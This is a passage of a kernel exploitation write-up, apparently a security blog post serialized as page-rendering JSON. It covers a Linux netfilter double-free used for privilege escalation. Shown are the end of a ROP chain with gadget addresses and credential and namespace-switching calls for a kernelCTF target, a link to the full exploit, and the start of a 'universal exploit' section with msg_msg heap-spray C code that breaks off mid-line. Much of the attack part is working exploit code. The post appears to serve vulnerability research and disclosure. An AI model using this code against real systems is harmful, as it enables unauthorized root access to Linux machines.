INIT_CRED;\n",{"type":24,"tag":90,"props":58777,"children":58778},{"class":92,"line":258},[58779,58783,58787,58791,58795,58799,58803,58807],{"type":24,"tag":90,"props":58780,"children":58781},{"style":136},[58782],{"type":29,"value":57994},{"type":24,"tag":90,"props":58784,"children":58785},{"style":114},[58786],{"type":29,"value":58509},{"type":24,"tag":90,"props":58788,"children":58789},{"style":120},[58790],{"type":29,"value":53093},{"type":24,"tag":90,"props":58792,"children":58793},{"style":114},[58794],{"type":29,"value":11037},{"type":24,"tag":90,"props":58796,"children":58797},{"style":120},[58798],{"type":29,"value":5491},{"type":24,"tag":90,"props":58800,"children":58801},{"style":114},[58802],{"type":29,"value":58015},{"type":24,"tag":90,"props":58804,"children":58805},{"style":120},[58806],{"type":29,"value":6767},{"type":24,"tag":90,"props":58808,"children":58809},{"style":114},[58810],{"type":29,"value":58811}," COMMIT_CREDS;\n",{"type":24,"tag":90,"props":58813,"children":58814},{"class":92,"line":272},[58815],{"type":24,"tag":90,"props":58816,"children":58817},{"emptyLinePlaceholder":16},[58818],{"type":29,"value":245},{"type":24,"tag":90,"props":58820,"children":58821},{"class":92,"line":281},[58822],{"type":24,"tag":90,"props":58823,"children":58824},{"style":252},[58825],{"type":29,"value":58826}," // task = find_task_by_vpid(1);\n",{"type":24,"tag":90,"props":58828,"children":58829},{"class":92,"line":384},[58830,58834,58838,58842,58846,58850,58854,58858,58862,58866],{"type":24,"tag":90,"props":58831,"children":58832},{"style":136},[58833],{"type":29,"value":57994},{"type":24,"tag":90,"props":58835,"children":58836},{"style":114},[58837],{"type":29,"value":58509},{"type":24,"tag":90,"props":58839,"children":58840},{"style":120},[58841],{"type":29,"value":53093},{"type":24,"tag":90,"props":58843,"children":58844},{"style":114},[58845],{"type":29,"value":11037},{"type":24,"tag":90,"props":58847,"children":58848},{"style":120},[58849],{"type":29,"value":5491},{"type":24,"tag":90,"props":58851,"children":58852},{"style":114},[58853],{"type":29,"value":58015},{"type":24,"tag":90,"props":58855,"children":58856},{"style":120},[58857],{"type":29,"value":6767},{"type":24,"tag":90,"props":58859,"children":58860},{"style":349},[58861],{"type":29,"value":58730},{"type":24,"tag":90,"props":58863,"children":58864},{"style":114},[58865],{"type":29,"value":50897},{"type":24,"tag":90,"props":58867,"children":58868},{"style":252},[58869],{"type":29,"value":58739},{"type":24,"tag":90,"props":58871,"children":58872},{"class":92,"line":420},[58873,58877,58881,58885,58889,58893,58897],{"type":24,"tag":90,"props":58874,"children":58875},{"style":136},[58876],{"type":29,"value":57994},{"type":24,"tag":90,"props":58878,"children":58879},{"style":114},[58880],{"type":29,"value":58509},{"type":24,"tag":90,"props":58882,"children":58883},{"style":120},[58884],{"type":29,"value":53093},{"type":24,"tag":90,"props":58886,"children":58887},{"style":114},[58888],{"type":29,"value":11037},{"type":24,"tag":90,"props":58890,"children":58891},{"style":120},[58892],{"type":29,"value":5491},{"type":24,"tag":90,"props":58894,"children":58895},{"style":349},[58896],{"type":29,"value":6909},{"type":24,"tag":90,"props":58898,"children":58899},{"style":114},[58900],{"type":29,"value":381},{"type":24,"tag":90,"props":58902,"children":58903},{"class":92,"line":428},[58904,58908,58912,58916,58920,58924,58928,58932],{"type":24,"tag":90,"props":58905,"children":58906},{"style":136},[58907],{"type":29,"value":57994},{"type":24,"tag":90,"props":58909,"children":58910},{"style":114},[58911],{"type":29,"value":58509},{"type":24,"tag":90,"props":58913,"children":58914},{"style":120},[58915],{"type":29,"value":53093},{"type":24,"tag":90,"props":58917,"children":58918},{"style":114},[58919],{"type":29,"value":11037},{"type":24,"tag":90,"props":58921,"children":58922},{"style":120},[58923],{"type":29,"value":5491},{"type":24,"tag":90,"props":58925,"children":58926},{"style":114},[58927],{"type":29,"value":58015},{"type":24,"tag":90,"props":58929,"children":58930},{"style":120},[58931],{"type":29,"value":6767},{"type":24,"tag":90,"props":58933,"children":58934},{"style":114},[58935],{"type":29,"value":58936}," FIND_TASK_BY_VPID;\n",{"type":24,"tag":90,"props":58938,"children":58939},{"class":92,"line":437},[58940,58944,58948,58952,58956,58960,58964,58968,58973,58977],{"type":24,"tag":90,"props":58941,"children":58942},{"style":136},[58943],{"type":29,"value":57994},{"type":24,"tag":90,"props":58945,"children":58946},{"style":114},[58947],{"type":29,"value":58509},{"type":24,"tag":90,"props":58949,"children":58950},{"style":120},[58951],{"type":29,"value":53093},{"type":24,"tag":90,"props":58953,"children":58954},{"style":114},[58955],{"type":29,"value":11037},{"type":24,"tag":90,"props":58957,"children":58958},{"style":120},[58959],{"type":29,"value":5491},{"type":24,"tag":90,"props":58961,"children":58962},{"style":114},[58963],{"type":29,"value":58015},{"type":24,"tag":90,"props":58965,"children":58966},{"style":120},[58967],{"type":29,"value":6767},{"type":24,"tag":90,"props":58969,"children":58970},{"style":349},[58971],{"type":29,"value":58972}," 0xffffffff8102e2a6",{"type":24,"tag":90,"props":58974,"children":58975},{"style":114},[58976],{"type":29,"value":50897},{"type":24,"tag":90,"props":58978,"children":58979},{"style":252},[58980],{"type":29,"value":58981}," // pop rsi; ret;\n",{"type":24,"tag":90,"props":58983,"children":58984},{"class":92,"line":574},[58985,58989,58993,58997,59001,59005,59010,59014,59019,59023,59028,59032],{"type":24,"tag":90,"props":58986,"children":58987},{"style":136},[58988],{"type":29,"value":57994},{"type":24,"tag":90,"props":58990,"children":58991},{"style":114},[58992],{"type":29,"value":58509},{"type":24,"tag":90,"props":58994,"children":58995},{"style":120},[58996],{"type":29,"value":53093},{"type":24,"tag":90,"props":58998,"children":58999},{"style":114},[59000],{"type":29,"value":11037},{"type":24,"tag":90,"props":59002,"children":59003},{"style":120},[59004],{"type":29,"value":5491},{"type":24,"tag":90,"props":59006,"children":59007},{"style":114},[59008],{"type":29,"value":59009}," obj_ptr ",{"type":24,"tag":90,"props":59011,"children":59012},{"style":120},[59013],{"type":29,"value":6767},{"type":24,"tag":90,"props":59015,"children":59016},{"style":349},[59017],{"type":29,"value":59018}," 0xe0",{"type":24,"tag":90,"props":59020,"children":59021},{"style":120},[59022],{"type":29,"value":53079},{"type":24,"tag":90,"props":59024,"children":59025},{"style":349},[59026],{"type":29,"value":59027}," 0x66",{"type":24,"tag":90,"props":59029,"children":59030},{"style":114},[59031],{"type":29,"value":50897},{"type":24,"tag":90,"props":59033,"children":59034},{"style":252},[59035],{"type":29,"value":59036}," // rax -> rdi and resume rop\n",{"type":24,"tag":90,"props":59038,"children":59039},{"class":92,"line":606},[59040,59044,59048,59052,59056,59060,59064,59068,59073,59077],{"type":24,"tag":90,"props":59041,"children":59042},{"style":136},[59043],{"type":29,"value":57994},{"type":24,"tag":90,"props":59045,"children":59046},{"style":114},[59047],{"type":29,"value":58509},{"type":24,"tag":90,"props":59049,"children":59050},{"style":120},[59051],{"type":29,"value":53093},{"type":24,"tag":90,"props":59053,"children":59054},{"style":114},[59055],{"type":29,"value":11037},{"type":24,"tag":90,"props":59057,"children":59058},{"style":120},[59059],{"type":29,"value":5491},{"type":24,"tag":90,"props":59061,"children":59062},{"style":114},[59063],{"type":29,"value":58015},{"type":24,"tag":90,"props":59065,"children":59066},{"style":120},[59067],{"type":29,"value":6767},{"type":24,"tag":90,"props":59069,"children":59070},{"style":349},[59071],{"type":29,"value":59072}," 0xffffffff81caed31",{"type":24,"tag":90,"props":59074,"children":59075},{"style":114},[59076],{"type":29,"value":50897},{"type":24,"tag":90,"props":59078,"children":59079},{"style":252},[59080],{"type":29,"value":59081}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":24,"tag":90,"props":59083,"children":59084},{"class":92,"line":615},[59085],{"type":24,"tag":90,"props":59086,"children":59087},{"emptyLinePlaceholder":16},[59088],{"type":29,"value":245},{"type":24,"tag":90,"props":59090,"children":59091},{"class":92,"line":623},[59092],{"type":24,"tag":90,"props":59093,"children":59094},{"style":252},[59095],{"type":29,"value":59096}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":24,"tag":90,"props":59098,"children":59099},{"class":92,"line":632},[59100,59104,59108,59112,59116,59120,59124,59128,59132,59136],{"type":24,"tag":90,"props":59101,"children":59102},{"style":136},[59103],{"type":29,"value":57994},{"type":24,"tag":90,"props":59105,"children":59106},{"style":114},[59107],{"type":29,"value":58509},{"type":24,"tag":90,"props":59109,"children":59110},{"style":120},[59111],{"type":29,"value":53093},{"type":24,"tag":90,"props":59113,"children":59114},{"style":114},[59115],{"type":29,"value":11037},{"type":24,"tag":90,"props":59117,"children":59118},{"style":120},[59119],{"type":29,"value":5491},{"type":24,"tag":90,"props":59121,"children":59122},{"style":114},[59123],{"type":29,"value":58015},{"type":24,"tag":90,"props":59125,"children":59126},{"style":120},[59127],{"type":29,"value":6767},{"type":24,"tag":90,"props":59129,"children":59130},{"style":349},[59131],{"type":29,"value":58972},{"type":24,"tag":90,"props":59133,"children":59134},{"style":114},[59135],{"type":29,"value":50897},{"type":24,"tag":90,"props":59137,"children":59138},{"style":252},[59139],{"type":29,"value":58981},{"type":24,"tag":90,"props":59141,"children":59142},{"class":92,"line":669},[59143,59147,59151,59155,59159,59163,59167,59171],{"type":24,"tag":90,"props":59144,"children":59145},{"style":136},[59146],{"type":29,"value":57994},{"type":24,"tag":90,"props":59148,"children":59149},{"style":114},[59150],{"type":29,"value":58509},{"type":24,"tag":90,"props":59152,"children":59153},{"style":120},[59154],{"type":29,"value":53093},{"type":24,"tag":90,"props":59156,"children":59157},{"style":114},[59158],{"type":29,"value":11037},{"type":24,"tag":90,"props":59160,"children":59161},{"style":120},[59162],{"type":29,"value":5491},{"type":24,"tag":90,"props":59164,"children":59165},{"style":114},[59166],{"type":29,"value":58015},{"type":24,"tag":90,"props":59168,"children":59169},{"style":120},[59170],{"type":29,"value":6767},{"type":24,"tag":90,"props":59172,"children":59173},{"style":114},[59174],{"type":29,"value":59175}," INIT_NSPROXY;\n",{"type":24,"tag":90,"props":59177,"children":59178},{"class":92,"line":683},[59179,59183,59187,59191,59195,59199,59203,59207],{"type":24,"tag":90,"props":59180,"children":59181},{"style":136},[59182],{"type":29,"value":57994},{"type":24,"tag":90,"props":59184,"children":59185},{"style":114},[59186],{"type":29,"value":58509},{"type":24,"tag":90,"props":59188,"children":59189},{"style":120},[59190],{"type":29,"value":53093},{"type":24,"tag":90,"props":59192,"children":59193},{"style":114},[59194],{"type":29,"value":11037},{"type":24,"tag":90,"props":59196,"children":59197},{"style":120},[59198],{"type":29,"value":5491},{"type":24,"tag":90,"props":59200,"children":59201},{"style":114},[59202],{"type":29,"value":58015},{"type":24,"tag":90,"props":59204,"children":59205},{"style":120},[59206],{"type":29,"value":6767},{"type":24,"tag":90,"props":59208,"children":59209},{"style":114},[59210],{"type":29,"value":59211}," SWITCH_TASK_NAMESPACES;\n",{"type":24,"tag":90,"props":59213,"children":59214},{"class":92,"line":737},[59215],{"type":24,"tag":90,"props":59216,"children":59217},{"style":114},[59218],{"type":29,"value":12686},{"type":24,"tag":1019,"props":59220,"children":59222},{"id":59221},"grabbing-the-kernelctf-flag",[59223],{"type":29,"value":59224},"Grabbing the kernelCTF flag",{"type":24,"tag":25,"props":59226,"children":59227},{},[59228,59232,59234,59241],{"type":24,"tag":6301,"props":59229,"children":59231},{"alt":52402,"src":59230},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":59233},"\nYou can find the kernelCTF exploit in our ",{"type":24,"tag":69,"props":59235,"children":59238},{"href":59236,"rel":59237},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[73],[59239],{"type":29,"value":59240},"GitHub",{"type":29,"value":226},{"type":24,"tag":850,"props":59243,"children":59245},{"id":59244},"universal-exploit",[59246],{"type":29,"value":59247},"Universal exploit",{"type":24,"tag":25,"props":59249,"children":59250},{},[59251],{"type":29,"value":59252},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":24,"tag":1019,"props":59254,"children":59256},{"id":59255},"pivot-capability-using-msg_msg-mlistnext-pointer",[59257],{"type":29,"value":59258},"Pivot capability using msg_msg->mlist.next pointer",{"type":24,"tag":25,"props":59260,"children":59261},{},[59262,59264,59270,59272,59277,59279,59285],{"type":29,"value":59263},"Using the double-free vulnerability we can overlap a ",{"type":24,"tag":32,"props":59265,"children":59267},{"className":59266},[],[59268],{"type":29,"value":59269},"msg_msg",{"type":29,"value":59271}," object with with ",{"type":24,"tag":32,"props":59273,"children":59275},{"className":59274},[],[59276],{"type":29,"value":56923},{"type":29,"value":59278}," and control the ",{"type":24,"tag":32,"props":59280,"children":59282},{"className":59281},[],[59283],{"type":29,"value":59284},"m_list.next",{"type":29,"value":59286}," pointer.",{"type":24,"tag":80,"props":59288,"children":59290},{"className":30921,"code":59289,"language":30923,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[59291],{"type":24,"tag":32,"props":59292,"children":59293},{"__ignoreMap":7},[59294,59302,59318,59339,59352,59370,59395,59411,59419,59426,59433,59441,59473],{"type":24,"tag":90,"props":59295,"children":59296},{"class":92,"line":93},[59297],{"type":24,"tag":90,"props":59298,"children":59299},{"style":252},[59300],{"type":29,"value":59301},"/* one msg_msg structure for each message */\n",{"type":24,"tag":90,"props":59303,"children":59304},{"class":92,"line":200},[59305,59309,59314],{"type":24,"tag":90,"props":59306,"children":59307},{"style":97},[59308],{"type":29,"value":3050},{"type":24,"tag":90,"props":59310,"children":59311},{"style":146},[59312],{"type":29,"value":59313}," msg_msg",{"type":24,"tag":90,"props":59315,"children":59316},{"style":114},[59317],{"type":29,"value":269},{"type":24,"tag":90,"props":59319,"children":59320},{"class":92,"line":239},[59321,59325,59330,59335],{"type":24,"tag":90,"props":59322,"children":59323},{"style":97},[59324],{"type":29,"value":22947},{"type":24,"tag":90,"props":59326,"children":59327},{"style":146},[59328],{"type":29,"value":59329}," list_head",{"type":24,"tag":90,"props":59331,"children":59332},{"style":136},[59333],{"type":29,"value":59334}," m_list",{"type":24,"tag":90,"props":59336,"children":59337},{"style":114},[59338],{"type":29,"value":381},{"type":24,"tag":90,"props":59340,"children":59341},{"class":92,"line":248},[59342,59347],{"type":24,"tag":90,"props":59343,"children":59344},{"style":97},[59345],{"type":29,"value":59346}," long",{"type":24,"tag":90,"props":59348,"children":59349},{"style":114},[59350],{"type":29,"value":59351}," m_type;\n",{"type":24,"tag":90,"props":59353,"children":59354},{"class":92,"line":258},[59355,59360,59365],{"type":24,"tag":90,"props":59356,"children":59357},{"style":97},[59358],{"type":29,"value":59359}," size_t",{"type":24,"tag":90,"props":59361,"children":59362},{"style":114},[59363],{"type":29,"value":59364}," m_ts;",{"type":24,"tag":90,"props":59366,"children":59367},{"style":252},[59368],{"type":29,"value":59369}," /* message text size */\n",{"type":24,"tag":90,"props":59371,"children":59372},{"class":92,"line":272},[59373,59377,59382,59386,59391],{"type":24,"tag":90,"props":59374,"children":59375},{"style":97},[59376],{"type":29,"value":22947},{"type":24,"tag":90,"props":59378,"children":59379},{"style":146},[59380],{"type":29,"value":59381}," msg_msgseg",{"type":24,"tag":90,"props":59383,"children":59384},{"style":97},[59385],{"type":29,"value":366},{"type":24,"tag":90,"props":59387,"children":59388},{"style":136},[59389],{"type":29,"value":59390},"next",{"type":24,"tag":90,"props":59392,"children":59393},{"style":114},[59394],{"type":29,"value":381},{"type":24,"tag":90,"props":59396,"children":59397},{"class":92,"line":281},[59398,59402,59406],{"type":24,"tag":90,"props":59399,"children":59400},{"style":97},[59401],{"type":29,"value":52873},{"type":24,"tag":90,"props":59403,"children":59404},{"style":120},[59405],{"type":29,"value":366},{"type":24,"tag":90,"props":59407,"children":59408},{"style":114},[59409],{"type":29,"value":59410},"security;\n",{"type":24,"tag":90,"props":59412,"children":59413},{"class":92,"line":384},[59414],{"type":24,"tag":90,"props":59415,"children":59416},{"style":252},[59417],{"type":29,"value":59418}," /* the actual message follows immediately */\n",{"type":24,"tag":90,"props":59420,"children":59421},{"class":92,"line":420},[59422],{"type":24,"tag":90,"props":59423,"children":59424},{"style":114},[59425],{"type":29,"value":3093},{"type":24,"tag":90,"props":59427,"children":59428},{"class":92,"line":428},[59429],{"type":24,"tag":90,"props":59430,"children":59431},{"style":114},[59432],{"type":29,"value":12686},{"type":24,"tag":90,"props":59434,"children":59435},{"class":92,"line":437},[59436],{"type":24,"tag":90,"props":59437,"children":59438},{"style":114},[59439],{"type":29,"value":59440},"struct list_head {\n",{"type":24,"tag":90,"props":59442,"children":59443},{"class":92,"line":574},[59444,59448,59452,59456,59460,59464,59468],{"type":24,"tag":90,"props":59445,"children":59446},{"style":97},[59447],{"type":29,"value":22947},{"type":24,"tag":90,"props":59449,"children":59450},{"style":146},[59451],{"type":29,"value":59329},{"type":24,"tag":90,"props":59453,"children":59454},{"style":97},[59455],{"type":29,"value":366},{"type":24,"tag":90,"props":59457,"children":59458},{"style":136},[59459],{"type":29,"value":59390},{"type":24,"tag":90,"props":59461,"children":59462},{"style":114},[59463],{"type":29,"value":133},{"type":24,"tag":90,"props":59465,"children":59466},{"style":120},[59467],{"type":29,"value":983},{"type":24,"tag":90,"props":59469,"children":59470},{"style":114},[59471],{"type":29,"value":59472},"prev;\n",{"type":24,"tag":90,"props":59474,"children":59475},{"class":92,"line":606},[59476],{"type":24,"tag":90,"props":59477,"children":59478},{"style":114},[59479],{"type":29,"value":3093},{"type":24,"tag":25,"props":59481,"children":59482},{},[59483,59485,59491,59493,59498],{"type":29,"value":59484},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":24,"tag":32,"props":59486,"children":59488},{"className":59487},[],[59489],{"type":29,"value":59490},"mlist.next",{"type":29,"value":59492}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":24,"tag":32,"props":59494,"children":59496},{"className":59495},[],[59497],{"type":29,"value":59269},{"type":29,"value":59499}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":24,"tag":25,"props":59501,"children":59502},{},[59503,59505,59510,59512],{"type":29,"value":59504},"By incrementing the next pointer of our controllable ",{"type":24,"tag":32,"props":59506,"children":59508},{"className":59507},[],[59509],{"type":29,"value":59269},{"type":29,"value":59511}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":24,"tag":6301,"props":59513,"children":59515},{"alt":52402,"src":59514},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":24,"tag":80,"props":59517,"children":59519},{"className":30921,"code":59518,"language":30923,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[59520],{"type":24,"tag":32,"props":59521,"children":59522},{"__ignoreMap":7},[59523,59530,59538,59564,59581,59629,59636,59676,59708,59715,59736,59743,59790,59854,59880,59926,59950,59994,60001,60009,60045,60069,60076,60096,60103],{"type":24,"tag":90,"props":59524,"children":59525},{"class":92,"line":93},[59526],{"type":24,"tag":90,"props":59527,"children":59528},{"style":114},[59529],{"type":29,"value":12686},{"type":24,"tag":90,"props":59531,"children":59532},{"class":92,"line":200},[59533],{"type":24,"tag":90,"props":59534,"children":59535},{"style":114},[59536],{"type":29,"value":59537}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":24,"tag":90,"props":59539,"children":59540},{"class":92,"line":239},[59541,59546,59550,59554,59559],{"type":24,"tag":90,"props":59542,"children":59543},{"style":114},[59544],{"type":29,"value":59545}," msg_t *msg = calloc(1, ",{"type":24,"tag":90,"props":59547,"children":59548},{"style":146},[59549],{"type":29,"value":57152},{"type":24,"tag":90,"props":59551,"children":59552},{"style":114},[59553],{"type":29,"value":117},{"type":24,"tag":90,"props":59555,"children":59556},{"style":146},[59557],{"type":29,"value":59558},"msg_t",{"type":24,"tag":90,"props":59560,"children":59561},{"style":114},[59562],{"type":29,"value":59563},") + 0xe8 - 48);\n",{"type":24,"tag":90,"props":59565,"children":59566},{"class":92,"line":248},[59567,59571,59576],{"type":24,"tag":90,"props":59568,"children":59569},{"style":97},[59570],{"type":29,"value":20871},{"type":24,"tag":90,"props":59572,"children":59573},{"style":136},[59574],{"type":29,"value":59575}," qid",{"type":24,"tag":90,"props":59577,"children":59578},{"style":114},[59579],{"type":29,"value":59580},"[SPRAY];\n",{"type":24,"tag":90,"props":59582,"children":59583},{"class":92,"line":258},[59584,59588,59592,59596,59600,59604,59608,59612,59616,59621,59625],{"type":24,"tag":90,"props":59585,"children":59586},{"style":636},[59587],{"type":29,"value":5434},{"type":24,"tag":90,"props":59589,"children":59590},{"style":114},[59591],{"type":29,"value":1151},{"type":24,"tag":90,"props":59593,"children":59594},{"style":97},[59595],{"type":29,"value":20841},{"type":24,"tag":90,"props":59597,"children":59598},{"style":114},[59599],{"type":29,"value":56368},{"type":24,"tag":90,"props":59601,"children":59602},{"style":120},[59603],{"type":29,"value":5491},{"type":24,"tag":90,"props":59605,"children":59606},{"style":349},[59607],{"type":29,"value":5448},{"type":24,"tag":90,"props":59609,"children":59610},{"style":114},[59611],{"type":29,"value":53057},{"type":24,"tag":90,"props":59613,"children":59614},{"style":120},[59615],{"type":29,"value":1575},{"type":24,"tag":90,"props":59617,"children":59618},{"style":114},[59619],{"type":29,"value":59620}," SPRAY; i",{"type":24,"tag":90,"props":59622,"children":59623},{"style":120},[59624],{"type":29,"value":53093},{"type":24,"tag":90,"props":59626,"children":59627},{"style":114},[59628],{"type":29,"value":1686},{"type":24,"tag":90,"props":59630,"children":59631},{"class":92,"line":272},[59632],{"type":24,"tag":90,"props":59633,"children":59634},{"style":114},[59635],{"type":29,"value":30998},{"type":24,"tag":90,"props":59637,"children":59638},{"class":92,"line":281},[59639,59644,59648,59652,59657,59662,59667,59671],{"type":24,"tag":90,"props":59640,"children":59641},{"style":136},[59642],{"type":29,"value":59643}," qid",{"type":24,"tag":90,"props":59645,"children":59646},{"style":114},[59647],{"type":29,"value":56420},{"type":24,"tag":90,"props":59649,"children":59650},{"style":120},[59651],{"type":29,"value":5491},{"type":24,"tag":90,"props":59653,"children":59654},{"style":108},[59655],{"type":29,"value":59656}," msgget",{"type":24,"tag":90,"props":59658,"children":59659},{"style":114},[59660],{"type":29,"value":59661},"(IPC_PRIVATE, ",{"type":24,"tag":90,"props":59663,"children":59664},{"style":349},[59665],{"type":29,"value":59666},"0666",{"type":24,"tag":90,"props":59668,"children":59669},{"style":120},[59670],{"type":29,"value":6656},{"type":24,"tag":90,"props":59672,"children":59673},{"style":114},[59674],{"type":29,"value":59675}," IPC_CREAT);\n",{"type":24,"tag":90,"props":59677,"children":59678},{"class":92,"line":384},[59679,59683,59687,59692,59696,59700,59704],{"type":24,"tag":90,"props":59680,"children":59681},{"style":636},[59682],{"type":29,"value":5667},{"type":24,"tag":90,"props":59684,"children":59685},{"style":114},[59686],{"type":29,"value":1151},{"type":24,"tag":90,"props":59688,"children":59689},{"style":136},[59690],{"type":29,"value":59691},"qid",{"type":24,"tag":90,"props":59693,"children":59694},{"style":114},[59695],{"type":29,"value":56420},{"type":24,"tag":90,"props":59697,"children":59698},{"style":120},[59699],{"type":29,"value":1575},{"type":24,"tag":90,"props":59701,"children":59702},{"style":349},[59703],{"type":29,"value":5448},{"type":24,"tag":90,"props":59705,"children":59706},{"style":114},[59707],{"type":29,"value":1686},{"type":24,"tag":90,"props":59709,"children":59710},{"class":92,"line":420},[59711],{"type":24,"tag":90,"props":59712,"children":59713},{"style":114},[59714],{"type":29,"value":33472},{"type":24,"tag":90,"props":59716,"children":59717},{"class":92,"line":428},[59718,59723,59727,59732],{"type":24,"tag":90,"props":59719,"children":59720},{"style":108},[59721],{"type":29,"value":59722}," perror",{"type":24,"tag":90,"props":59724,"children":59725},{"style":114},[59726],{"type":29,"value":117},{"type":24,"tag":90,"props":59728,"children":59729},{"style":1085},[59730],{"type":29,"value":59731},"\"[-] msgget\"",{"type":24,"tag":90,"props":59733,"children":59734},{"style":114},[59735],{"type":29,"value":571},{"type":24,"tag":90,"props":59737,"children":59738},{"class":92,"line":437},[59739],{"type":24,"tag":90,"props":59740,"children":59741},{"style":114},[59742],{"type":29,"value":5740},{"type":24,"tag":90,"props":59744,"children":59745},{"class":92,"line":574},[59746,59750,59754,59759,59763,59767,59772,59776,59781,59785],{"type":24,"tag":90,"props":59747,"children":59748},{"style":120},[59749],{"type":29,"value":390},{"type":24,"tag":90,"props":59751,"children":59752},{"style":114},[59753],{"type":29,"value":117},{"type":24,"tag":90,"props":59755,"children":59756},{"style":97},[59757],{"type":29,"value":59758},"uint32_t",{"type":24,"tag":90,"props":59760,"children":59761},{"style":120},[59762],{"type":29,"value":366},{"type":24,"tag":90,"props":59764,"children":59765},{"style":114},[59766],{"type":29,"value":517},{"type":24,"tag":90,"props":59768,"children":59769},{"style":136},[59770],{"type":29,"value":59771},"msg",{"type":24,"tag":90,"props":59773,"children":59774},{"style":114},[59775],{"type":29,"value":177},{"type":24,"tag":90,"props":59777,"children":59778},{"style":136},[59779],{"type":29,"value":59780},"mtext",{"type":24,"tag":90,"props":59782,"children":59783},{"style":120},[59784],{"type":29,"value":216},{"type":24,"tag":90,"props":59786,"children":59787},{"style":114},[59788],{"type":29,"value":59789}," i;\n",{"type":24,"tag":90,"props":59791,"children":59792},{"class":92,"line":606},[59793,59797,59801,59805,59809,59813,59817,59821,59825,59829,59833,59837,59841,59845,59850],{"type":24,"tag":90,"props":59794,"children":59795},{"style":120},[59796],{"type":29,"value":390},{"type":24,"tag":90,"props":59798,"children":59799},{"style":114},[59800],{"type":29,"value":117},{"type":24,"tag":90,"props":59802,"children":59803},{"style":97},[59804],{"type":29,"value":57459},{"type":24,"tag":90,"props":59806,"children":59807},{"style":120},[59808],{"type":29,"value":366},{"type":24,"tag":90,"props":59810,"children":59811},{"style":114},[59812],{"type":29,"value":517},{"type":24,"tag":90,"props":59814,"children":59815},{"style":120},[59816],{"type":29,"value":123},{"type":24,"tag":90,"props":59818,"children":59819},{"style":136},[59820],{"type":29,"value":59771},{"type":24,"tag":90,"props":59822,"children":59823},{"style":114},[59824],{"type":29,"value":177},{"type":24,"tag":90,"props":59826,"children":59827},{"style":136},[59828],{"type":29,"value":59780},{"type":24,"tag":90,"props":59830,"children":59831},{"style":114},[59832],{"type":29,"value":719},{"type":24,"tag":90,"props":59834,"children":59835},{"style":349},[59836],{"type":29,"value":352},{"type":24,"tag":90,"props":59838,"children":59839},{"style":114},[59840],{"type":29,"value":11037},{"type":24,"tag":90,"props":59842,"children":59843},{"style":120},[59844],{"type":29,"value":5491},{"type":24,"tag":90,"props":59846,"children":59847},{"style":349},[59848],{"type":29,"value":59849}," 0xdeadbeefcafebabe",{"type":24,"tag":90,"props":59851,"children":59852},{"style":114},[59853],{"type":29,"value":381},{"type":24,"tag":90,"props":59855,"children":59856},{"class":92,"line":615},[59857,59862,59866,59871,59875],{"type":24,"tag":90,"props":59858,"children":59859},{"style":136},[59860],{"type":29,"value":59861}," msg",{"type":24,"tag":90,"props":59863,"children":59864},{"style":114},[59865],{"type":29,"value":177},{"type":24,"tag":90,"props":59867,"children":59868},{"style":136},[59869],{"type":29,"value":59870},"mtype",{"type":24,"tag":90,"props":59872,"children":59873},{"style":120},[59874],{"type":29,"value":216},{"type":24,"tag":90,"props":59876,"children":59877},{"style":114},[59878],{"type":29,"value":59879}," MTYPE_PRIMARY;\n",{"type":24,"tag":90,"props":59881,"children":59882},{"class":92,"line":623},[59883,59888,59892,59896,59901,59905,59909,59914,59918,59922],{"type":24,"tag":90,"props":59884,"children":59885},{"style":108},[59886],{"type":29,"value":59887}," msgsnd",{"type":24,"tag":90,"props":59889,"children":59890},{"style":114},[59891],{"type":29,"value":117},{"type":24,"tag":90,"props":59893,"children":59894},{"style":136},[59895],{"type":29,"value":59691},{"type":24,"tag":90,"props":59897,"children":59898},{"style":114},[59899],{"type":29,"value":59900},"[i], msg, ",{"type":24,"tag":90,"props":59902,"children":59903},{"style":349},[59904],{"type":29,"value":57796},{"type":24,"tag":90,"props":59906,"children":59907},{"style":120},[59908],{"type":29,"value":53079},{"type":24,"tag":90,"props":59910,"children":59911},{"style":349},[59912],{"type":29,"value":59913}," 